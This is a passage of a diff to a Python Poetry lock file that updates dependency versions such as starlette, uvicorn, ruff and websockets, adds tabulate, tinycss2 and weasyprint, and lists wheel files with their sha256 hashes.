"regex-2023.8.8-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f2181c20ef18747d5f4a7ea513e09ea03bdd50884a11ce46066bb90fe4213675"}, + {file = "regex-2023.8.8-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a2ad5add903eb7cdde2b7c64aaca405f3957ab34f16594d2b78d53b8b1a6a7d6"}, + {file = "regex-2023.8.8-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9233ac249b354c54146e392e8a451e465dd2d967fc773690811d3a8c240ac601"}, + {file = "regex-2023.8.8-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:920974009fb37b20d32afcdf0227a2e707eb83fe418713f7a8b7de038b870d0b"}, + {file = "regex-2023.8.8-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2b6c5dfe0929b6c23dde9624483380b170b6e34ed79054ad131b20203a1a63"}, + {file = "regex-2023.8.8-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:96979d753b1dc3b2169003e1854dc67bfc86edf93c01e84757927f810b8c3c93"}, + {file = "regex-2023.8.8-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2ae54a338191e1356253e7883d9d19f8679b6143703086245fb14d1f20196be9"}, + {file = "regex-2023.8.8-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2162ae2eb8b079622176a81b65d486ba50b888271302190870b8cc488587d280"}, + {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c884d1a59e69e03b93cf0dfee8794c63d7de0ee8f7ffb76e5f75be8131b6400a"}, + {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:cf9273e96f3ee2ac89ffcb17627a78f78e7516b08f94dc435844ae72576a276e"}, + {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:83215147121e15d5f3a45d99abeed9cf1fe16869d5c233b08c56cdf75f43a504"}, + {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:3f7454aa427b8ab9101f3787eb178057c5250478e39b99540cfc2b889c7d0586"}, + {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:f0640913d2c1044d97e30d7c41728195fc37e54d190c5385eacb52115127b882"}, + {file = "regex-2023.8.8-cp38-cp38-win32.whl", hash = "sha256:0c59122ceccb905a941fb23b087b8eafc5290bf983ebcb14d2301febcbe199c7"}, + {file = "regex-2023.8.8-cp38-cp38-win_amd64.whl", hash = "sha256:c12f6f67495ea05c3d542d119d270007090bad5b843f642d418eb601ec0fa7be"}, + {file = "regex-2023.8.8-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:82cd0a69cd28f6cc3789cc6adeb1027f79526b1ab50b1f6062bbc3a0ccb2dbc3"}, + {file = "regex-2023.8.8-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:bb34d1605f96a245fc39790a117ac1bac8de84ab7691637b26ab2c5efb8f228c"}, + {file = "regex-2023.8.8-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:987b9ac04d0b38ef4f89fbc035e84a7efad9cdd5f1e29024f9289182c8d99e09"}, + {file = "regex-2023.8.8-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9dd6082f4e2aec9b6a0927202c85bc1b09dcab113f97265127c1dc20e2e32495"}, + {file = "regex-2023.8.8-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7eb95fe8222932c10d4436e7a6f7c99991e3fdd9f36c949eff16a69246dee2dc"}, + {file = "regex-2023.8.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7098c524ba9f20717a56a8d551d2ed491ea89cbf37e540759ed3b776a4f8d6eb"}, + {file = "regex-2023.8.8-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4b694430b3f00eb02c594ff5a16db30e054c1b9589a043fe9174584c6efa8033"}, + {file = "regex-2023.8.8-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:b2aeab3895d778155054abea5238d0eb9a72e9242bd4b43f42fd911ef9a13470"}, + {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:988631b9d78b546e284478c2ec15c8a85960e262e247b35ca5eaf7ee22f6050a"}, + {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:67ecd894e56a0c6108ec5ab1d8fa8418ec0cff45844a855966b875d1039a2e34"}, + {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:14898830f0a0eb67cae2bbbc787c1a7d6e34ecc06fbd39d3af5fe29a4468e2c9"}, + {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:f2200e00b62568cfd920127782c61bc1c546062a879cdc741cfcc6976668dfcf"}, + {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9691a549c19c22d26a4f3b948071e93517bdf86e41b81d8c6ac8a964bb71e5a6"}, + {file = "regex-2023.8.8-cp39-cp39-win32.whl", hash = "sha256:6ab2ed84bf0137927846b37e882745a827458689eb969028af8032b1b3dac78e"}, + {file = "regex-2023.8.8-cp39-cp39-win_amd64.whl", hash = "sha256:5543c055d8ec7801901e1193a51570643d6a6ab8751b1f7dd9af71af467538bb"}, + {file = "regex-2023.8.8.tar.gz", hash = "sha256:fcbdc5f2b0f1cd0f6a56cdb46fe41d2cce1e644e3b68832f3eeebc5fb0f7712e"}, ] [[package]] @@ -1769,27 +2163,28 @@ pyasn1 = ">=0.1.3" [[package]] name = "ruff" -version = "0.0.233" +version = "0.0.283" description = "An extremely fast Python linter, written in Rust." optional = false python-versions = ">=3.7" files = [ - {file = "ruff-0.0.233-py3-none-macosx_10_7_x86_64.whl", hash = "sha256:226c62c3149826dd8866ba85fdc8e299834d948354573489f91128c7f8abf0c1"}, - {file = "ruff-0.0.233-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl", hash = "sha256:eb505e8d7ad293580787028816dd6c47f3b5f0729df95ecc1926aa855cd4f251"}, - {file = "ruff-0.0.233-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e307407beddd30c77d86787aecc829a8159fe775db16de87ad3fc89157ff33e1"}, - {file = "ruff-0.0.233-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:664f46a9a7d4984340de2c4f6739a95012df1f4259b8ff69e2f5cc67ce8186ea"}, - {file = "ruff-0.0.233-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:22cb74b604e1fff5704a559cff26a388949b547edc1759840ca3b93ccf32e121"}, - {file = "ruff-0.0.233-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:9af70b257ac30b8349ba2d674697bbab1749f16615b9001f7babeb60063e6999"}, - {file = "ruff-0.0.233-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dd430f1b44bcb78dade7d682f25f2c38f93ffef2dd718979000b82d33421cad8"}, - {file = "ruff-0.0.233-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b5288b7b216c14a7284a7eba2f2f30b8fd4c5e511691eba783ad687827475703"}, - {file = "ruff-0.0.233-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7aac2a3e699b38d05720b6317c9e1a0db7ad0755ec42a4212a28f7287de63b01"}, - {file = "ruff-0.0.233-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:ae42aee3bdf36e2cfae6f27da9e25aaaa9f9d7d825e8cee1673828ac48a22c85"}, - {file = "ruff-0.0.233-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:9214e68a686621eab947c0b58f42e54ba8994f28dcf8647220de0db6f9466ac5"}, - {file = "ruff-0.0.233-py3-none-musllinux_1_2_i686.whl", hash = "sha256:d79716226b9036056d6e000d90d4e089053bf86a8e4e92935949b9a67e1eba59"}, - {file = "ruff-0.0.233-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:6a33d0cd66e30683ae96d23cf315a0bf8207fec362e8216980d2e876775db60a"}, - {file = "ruff-0.0.233-py3-none-win32.whl", hash = "sha256:f03371d69ea8eb27b400597ad472b592f0bd178eaee9160580d6b764c05de3a3"}, - {file = "ruff-0.0.233-py3-none-win_amd64.whl", hash = "sha256:9716bef6cb7b26f162ac7383b4a6777f81d699ab6b60faae07321924f9a7eb3d"}, - {file = "ruff-0.0.233.tar.gz", hash = "sha256:9610b1aa35f7b2a698f0746096269f1c8862d250bc16aa624f3f84c370085595"}, + {file = "ruff-0.0.283-py3-none-macosx_10_7_x86_64.whl", hash = "sha256:d59615628b43c40b8335af0fafd544b3a09e9891829461fa2eb0d67f00570df5"}, + {file = "ruff-0.0.283-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl", hash = "sha256:742d3c09bb4272d92fcd0a01a203d837488060280c28a42461e166226651a12a"}, + {file = "ruff-0.0.283-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:03622378270a37c61bb0f430c29f41bdf0699e8791d0d7548ad5745c737723fb"}, + {file = "ruff-0.0.283-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a4d36f0b3beecc01b50933795da718347ee442afa14cced5a60afe20e8335d24"}, + {file = "ruff-0.0.283-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d21b29dc63d8ec246207dd7115ec39814ca74ee0f0f7b261aa82fb9c1cd8dfcf"}, + {file = "ruff-0.0.283-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:fe095f2c3e8e557f2709945d611efd476b3eb39bdec5b258b2f88cfb8b5d136d"}, + {file = "ruff-0.0.283-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b773f1dc57e642f707ee0e8bd68a0bc5ec95441367166a276e5dfdf88b21e1bf"}, + {file = "ruff-0.0.283-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d539c73e207a13a915bde6c52ae8b2beb0b00c3b975e9e5d808fe288ea354a72"}, + {file = "ruff-0.0.283-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e43d3ab5c0bdb7b7a045411773b18ed115f0590a30c8d267c484393c6b0486ba"}, + {file = "ruff-0.0.283-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:c5d72c97daa72f8914bf1b0c0ae4dbffc999e1945c291fa2d37c02ee4fa7f398"}, + {file = "ruff-0.0.283-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:c32eb49ecf190a7bec0305270c864f796b362027b39a7d49c6fb120ea75e7b52"}, + {file = "ruff-0.0.283-py3-none-musllinux_1_2_i686.whl", hash = "sha256:b1eae6990b078883c0cae60f1df0c31d2071f20afcec285baa363b9b6f7321cf"}, + {file = "ruff-0.0.283-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:ad5a3042cbae1b82c3c953be77181a0934a6b02ba476fec4f177eb9c297e19ed"}, + {file = "ruff-0.0.283-py3-none-win32.whl", hash = "sha256:bd64f9775d96f35a236980ac98ed50fb5c755b227845612a873ad4f247c0cf8d"}, + {file = "ruff-0.0.283-py3-none-win_amd64.whl", hash = "sha256:28e3545ff24ae44e13da2b8fc706dd62a374cc74e4f5c1fbc8bc071ab0cc309f"}, + {file = "ruff-0.0.283-py3-none-win_arm64.whl", hash = "sha256:28732d956171f493b45c096d27f015e34fde065414330b68d59efcd0f3f67d5d"}, + {file = "ruff-0.0.283.tar.gz", hash = "sha256:6ee6928ad7b6b2b103d3b41517ff252cb81506dacbef01bab31fcfd0de39c5bb"}, ] [[package]] @@ -1949,20 +2344,21 @@ SQLAlchemy = ">=0.9.0" [[package]] name = "starlette" -version = "0.16.0" +version = "0.27.0" description = "The little ASGI library that shines." optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "starlette-0.16.0-py3-none-any.whl", hash = "sha256:38eb24bf705a2c317e15868e384c1b8a12ca396e5a3c3a003db7e667c43f939f"}, - {file = "starlette-0.16.0.tar.gz", hash = "sha256:e1904b5d0007aee24bdd3c43994be9b3b729f4f58e740200de1d623f8c3a8870"}, + {file = "starlette-0.27.0-py3-none-any.whl", hash = "sha256:918416370e846586541235ccd38a474c08b80443ed31c578a418e2209b3eef91"}, + {file = "starlette-0.27.0.tar.gz", hash = "sha256:6a6b0d042acb8d469a01eba54e9cda6cbd24ac602c4cd016723117d6a7e73b75"}, ] [package.dependencies] -anyio = ">=3.0.0,<4" +anyio = ">=3.4.0,<5" +typing-extensions = {version = ">=3.10.0", markers = "python_version < \"3.10\""} [package.extras] -full = ["graphene", "itsdangerous", "jinja2", "python-multipart", "pyyaml", "requests"] +full = ["httpx (>=0.22.0)", "itsdangerous", "jinja2", "python-multipart", "pyyaml"] [[package]] name = "stone" @@ -1980,6 +2376,20 @@ files = [ ply = ">=3.4" six = ">=1.12.0" +[[package]] +name = "tabulate" +version = "0.9.0" +description = "Pretty-print tabular data" +optional = false +python-versions = ">=3.7" +files = [ + {file = "tabulate-0.9.0-py3-none-any.whl", hash = "sha256:024ca478df22e9340661486f85298cff5f6dcdba14f3813e8830015b9ed1948f"}, + {file = "tabulate-0.9.0.tar.gz", hash = "sha256:0095b12bf5966de529c0feb1fa08671671b3368eec77d7ef7ab114be2c068b3c"}, +] + +[package.extras] +widechars = ["wcwidth"] + [[package]] name = "terminaltables" version = "3.1.10" @@ -1991,6 +2401,24 @@ files = [ {file = "terminaltables-3.1.10.tar.gz", hash = "sha256:ba6eca5cb5ba02bba4c9f4f985af80c54ec3dccf94cfcd190154386255e47543"}, ] +[[package]] +name = "tinycss2" +version = "1.2.1" +description = "A tiny CSS parser" +optional = false +python-versions = ">=3.7" +files = [ + {file = "tinycss2-1.2.1-py3-none-any.whl", hash = "sha256:2b80a96d41e7c3914b8cda8bc7f705a4d9c49275616e886103dd839dfc847847"}, + {file = "tinycss2-1.2.1.tar.gz", hash = "sha256:8cff3a8f066c2ec677c06dbc7b45619804a6938478d9d73c284b29d14ecb0627"}, +] + +[package.dependencies] +webencodings = ">=0.4" + +[package.extras] +doc = ["sphinx", "sphinx_rtd_theme"] +test = ["flake8", "isort", "pytest"] + [[package]] name = "tomli" version = "2.0.1" @@ -2078,13 +2506,13 @@ files = [ [[package]] name = "urllib3" -version = "2.0.3" +version = "2.0.4" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false python-versions = ">=3.7" files = [ - {file = "urllib3-2.0.3-py3-none-any.whl", hash = "sha256:48e7fafa40319d358848e1bc6809b208340fafe2096f1725d05d67443d0483d1"}, - {file = "urllib3-2.0.3.tar.gz", hash = "sha256:bee28b5e56addb8226c96f7f13ac28cb4c301dd5ea8a6ca179c0b9835e032825"}, + {file = "urllib3-2.0.4-py3-none-any.whl", hash = "sha256:de7df1803967d2c2a98e4b11bb7d6bd9210474c46e8a0401514e3a42a75ebde4"}, + {file = "urllib3-2.0.4.tar.gz", hash = "sha256:8d22f86aae8ef5e410d4f539fde9ce6b2113a001bb4d189e0aed70642d602b11"}, ] [package.extras] @@ -2095,22 +2523,21 @@ zstd = ["zstandard (>=0.18.0)"] [[package]] name = "uvicorn" -version = "0.14.0" +version = "0.22.0" description = "The lightning-fast ASGI server." optional = false -python-versions = "*" +python-versions = ">=3.7" files = [ - {file = "uvicorn-0.14.0-py3-none-any.whl", hash = "sha256:2a76bb359171a504b3d1c853409af3adbfa5cef374a4a59e5881945a97a93eae"}, - {file = "uvicorn-0.14.0.tar.gz", hash = "sha256:45ad7dfaaa7d55cab4cd1e85e03f27e9d60bc067ddc59db52a2b0aeca8870292"}, + {file = "uvicorn-0.22.0-py3-none-any.whl", hash = "sha256:e9434d3bbf05f310e762147f769c9f21235ee118ba2d2bf1155a7196448bd996"}, + {file = "uvicorn-0.22.0.tar.gz", hash = "sha256:79277ae03db57ce7d9aa0567830bbb51d7a612f54d6e1e3e92da3ef24c2c8ed8"}, ] [package.dependencies] -asgiref = ">=3.3.4" -click = ">=7" +click = ">=7.0" h11 = ">=0.8" [package.extras] -standard = ["PyYAML (>=5.1)", "colorama (>=0.4)", "httptools (==0.2.*)", "python-dotenv (>=0.13)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchgod (>=0.6)", "websockets (>=9.1)"] +standard = ["colorama (>=0.4)", "httptools (>=0.5.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.4)"] [[package]] name = "wcwidth" @@ -2123,6 +2550,42 @@ files = [ {file = "wcwidth-0.2.6.tar.gz", hash = "sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0"}, ] +[[package]] +name = "weasyprint" +version = "59.0" +description = "The Awesome Document Factory" +optional = false +python-versions = ">=3.7" +files = [ + {file = "weasyprint-59.0-py3-none-any.whl", hash = "sha256:a308d67c5e99f536b15527baaad4e91be0cf307317e0f66e8d934a0bc99bfb38"}, + {file = "weasyprint-59.0.tar.gz", hash = "sha256:223a76636b3744eaa4ab8a2885f50cf46cf8ebb1acb99b5276d02feccf507492"}, +] + +[package.dependencies] +cffi = ">=0.6" +cssselect2 = ">=0.1" +fonttools = {version = ">=4.0.0", extras = ["woff"]} +html5lib = ">=1.1" +Pillow = ">=9.1.0" +pydyf = ">=0.6.0" +Pyphen = ">=0.9.1" +tinycss2 = ">=1.0.0" + +[package.extras] +doc = ["sphinx", "sphinx_rtd_theme"] +test = ["flake8", "isort", "pytest"] + +[[package]] +name = "webencodings" +version = "0.5.1" +description = "Character encoding aliases for legacy web content" +optional = false +python-versions = "*" +files = [ + {file = "webencodings-0.5.1-py2.py3-none-any.whl", hash = "sha256:a0af1213f3c2226497a97e2b3aa01a7e4bee4f403f95be16fc9acd2947514a78"}, + {file = "webencodings-0.5.1.tar.gz", hash = "sha256:b36a1c245f2d304965eb4e0a82848379241dc04b865afcc4aab16748587e1923"}, +] + [[package]] name = "websocket-client" version = "1.6.1" @@ -2141,80 +2604,81 @@ test = ["websockets"] [[package]] name = "websockets" -version = "10.4" +version = "11.0.3" description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" optional = false python-versions = ">=3.7" files = [ - {file = "websockets-10.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d58804e996d7d2307173d56c297cf7bc132c52df27a3efaac5e8d43e36c21c48"}, - {file = "websockets-10.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc0b82d728fe21a0d03e65f81980abbbcb13b5387f733a1a870672c5be26edab"}, - {file = "websockets-10.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ba089c499e1f4155d2a3c2a05d2878a3428cf321c848f2b5a45ce55f0d7d310c"}, - {file = "websockets-10.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:33d69ca7612f0ddff3316b0c7b33ca180d464ecac2d115805c044bf0a3b0d032"}, - {file = "websockets-10.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62e627f6b6d4aed919a2052efc408da7a545c606268d5ab5bfab4432734b82b4"}, - {file = "websockets-10.4-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:38ea7b82bfcae927eeffc55d2ffa31665dc7fec7b8dc654506b8e5a518eb4d50"}, - {file = "websockets-10.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e0cb5cc6ece6ffa75baccfd5c02cffe776f3f5c8bf486811f9d3ea3453676ce8"}, - {file = "websockets-10.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ae5e95cfb53ab1da62185e23b3130e11d64431179debac6dc3c6acf08760e9b1"}, - {file = "websockets-10.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7c584f366f46ba667cfa66020344886cf47088e79c9b9d39c84ce9ea98aaa331"}, - {file = "websockets-10.4-cp310-cp310-win32.whl", hash = "sha256:b029fb2032ae4724d8ae8d4f6b363f2cc39e4c7b12454df8df7f0f563ed3e61a"}, - {file = "websockets-10.4-cp310-cp310-win_amd64.whl", hash = "sha256:8dc96f64ae43dde92530775e9cb169979f414dcf5cff670455d81a6823b42089"}, - {file = "websockets-10.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:47a2964021f2110116cc1125b3e6d87ab5ad16dea161949e7244ec583b905bb4"}, - {file = "websockets-10.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:e789376b52c295c4946403bd0efecf27ab98f05319df4583d3c48e43c7342c2f"}, - {file = "websockets-10.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7d3f0b61c45c3fa9a349cf484962c559a8a1d80dae6977276df8fd1fa5e3cb8c"}, - {file = "websockets-10.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f55b5905705725af31ccef50e55391621532cd64fbf0bc6f4bac935f0fccec46"}, - {file = "websockets-10.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:00c870522cdb69cd625b93f002961ffb0c095394f06ba8c48f17eef7c1541f96"}, - {file = "websockets-10.4-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f38706e0b15d3c20ef6259fd4bc1700cd133b06c3c1bb108ffe3f8947be15fa"}, - {file = "websockets-10.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:f2c38d588887a609191d30e902df2a32711f708abfd85d318ca9b367258cfd0c"}, - {file = "websockets-10.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:fe10ddc59b304cb19a1bdf5bd0a7719cbbc9fbdd57ac80ed436b709fcf889106"}, - {file = "websockets-10.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:90fcf8929836d4a0e964d799a58823547df5a5e9afa83081761630553be731f9"}, - {file = "websockets-10.4-cp311-cp311-win32.whl", hash = "sha256:b9968694c5f467bf67ef97ae7ad4d56d14be2751000c1207d31bf3bb8860bae8"}, - {file = "websockets-10.4-cp311-cp311-win_amd64.whl", hash = "sha256:a7a240d7a74bf8d5cb3bfe6be7f21697a28ec4b1a437607bae08ac7acf5b4882"}, - {file = "websockets-10.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:74de2b894b47f1d21cbd0b37a5e2b2392ad95d17ae983e64727e18eb281fe7cb"}, - {file = "websockets-10.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e3a686ecb4aa0d64ae60c9c9f1a7d5d46cab9bfb5d91a2d303d00e2cd4c4c5cc"}, - {file = "websockets-10.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b0d15c968ea7a65211e084f523151dbf8ae44634de03c801b8bd070b74e85033"}, - {file = "websockets-10.4-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00213676a2e46b6ebf6045bc11d0f529d9120baa6f58d122b4021ad92adabd41"}, - {file = "websockets-10.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:e23173580d740bf8822fd0379e4bf30aa1d5a92a4f252d34e893070c081050df"}, - {file = "websockets-10.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:dd500e0a5e11969cdd3320935ca2ff1e936f2358f9c2e61f100a1660933320ea"}, - {file = "websockets-10.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:4239b6027e3d66a89446908ff3027d2737afc1a375f8fd3eea630a4842ec9a0c"}, - {file = "websockets-10.4-cp37-cp37m-win32.whl", hash = "sha256:8a5cc00546e0a701da4639aa0bbcb0ae2bb678c87f46da01ac2d789e1f2d2038"}, - {file = "websockets-10.4-cp37-cp37m-win_amd64.whl", hash = "sha256:a9f9a735deaf9a0cadc2d8c50d1a5bcdbae8b6e539c6e08237bc4082d7c13f28"}, - {file = "websockets-10.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5c1289596042fad2cdceb05e1ebf7aadf9995c928e0da2b7a4e99494953b1b94"}, - {file = "websockets-10.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0cff816f51fb33c26d6e2b16b5c7d48eaa31dae5488ace6aae468b361f422b63"}, - {file = "websockets-10.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:dd9becd5fe29773d140d68d607d66a38f60e31b86df75332703757ee645b6faf"}, - {file = "websockets-10.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45ec8e75b7dbc9539cbfafa570742fe4f676eb8b0d3694b67dabe2f2ceed8aa6"}, - {file = "websockets-10.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4f72e5cd0f18f262f5da20efa9e241699e0cf3a766317a17392550c9ad7b37d8"}, - {file = "websockets-10.4-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:185929b4808b36a79c65b7865783b87b6841e852ef5407a2fb0c03381092fa3b"}, - {file = "websockets-10.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:7d27a7e34c313b3a7f91adcd05134315002aaf8540d7b4f90336beafaea6217c"}, - {file = "websockets-10.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:884be66c76a444c59f801ac13f40c76f176f1bfa815ef5b8ed44321e74f1600b"}, - {file = "websockets-10.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:931c039af54fc195fe6ad536fde4b0de04da9d5916e78e55405436348cfb0e56"}, - {file = "websockets-10.4-cp38-cp38-win32.whl", hash = "sha256:db3c336f9eda2532ec0fd8ea49fef7a8df8f6c804cdf4f39e5c5c0d4a4ad9a7a"}, - {file = "websockets-10.4-cp38-cp38-win_amd64.whl", hash = "sha256:48c08473563323f9c9debac781ecf66f94ad5a3680a38fe84dee5388cf5acaf6"}, - {file = "websockets-10.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:40e826de3085721dabc7cf9bfd41682dadc02286d8cf149b3ad05bff89311e4f"}, - {file = "websockets-10.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:56029457f219ade1f2fc12a6504ea61e14ee227a815531f9738e41203a429112"}, - {file = "websockets-10.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f5fc088b7a32f244c519a048c170f14cf2251b849ef0e20cbbb0fdf0fdaf556f"}, - {file = "websockets-10.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2fc8709c00704194213d45e455adc106ff9e87658297f72d544220e32029cd3d"}, - {file = "websockets-10.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0154f7691e4fe6c2b2bc275b5701e8b158dae92a1ab229e2b940efe11905dff4"}, - {file = "websockets-10.4-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c6d2264f485f0b53adf22697ac11e261ce84805c232ed5dbe6b1bcb84b00ff0"}, - {file = "websockets-10.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9bc42e8402dc5e9905fb8b9649f57efcb2056693b7e88faa8fb029256ba9c68c"}, - {file = "websockets-10.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:edc344de4dac1d89300a053ac973299e82d3db56330f3494905643bb68801269"}, - {file = "websockets-10.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:84bc2a7d075f32f6ed98652db3a680a17a4edb21ca7f80fe42e38753a58ee02b"}, - {file = "websockets-10.4-cp39-cp39-win32.whl", hash = "sha256:c94ae4faf2d09f7c81847c63843f84fe47bf6253c9d60b20f25edfd30fb12588"}, - {file = "websockets-10.4-cp39-cp39-win_amd64.whl", hash = "sha256:bbccd847aa0c3a69b5f691a84d2341a4f8a629c6922558f2a70611305f902d74"}, - {file = "websockets-10.4-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:82ff5e1cae4e855147fd57a2863376ed7454134c2bf49ec604dfe71e446e2193"}, - {file = "websockets-10.4-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d210abe51b5da0ffdbf7b43eed0cfdff8a55a1ab17abbec4301c9ff077dd0342"}, - {file = "websockets-10.4-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = 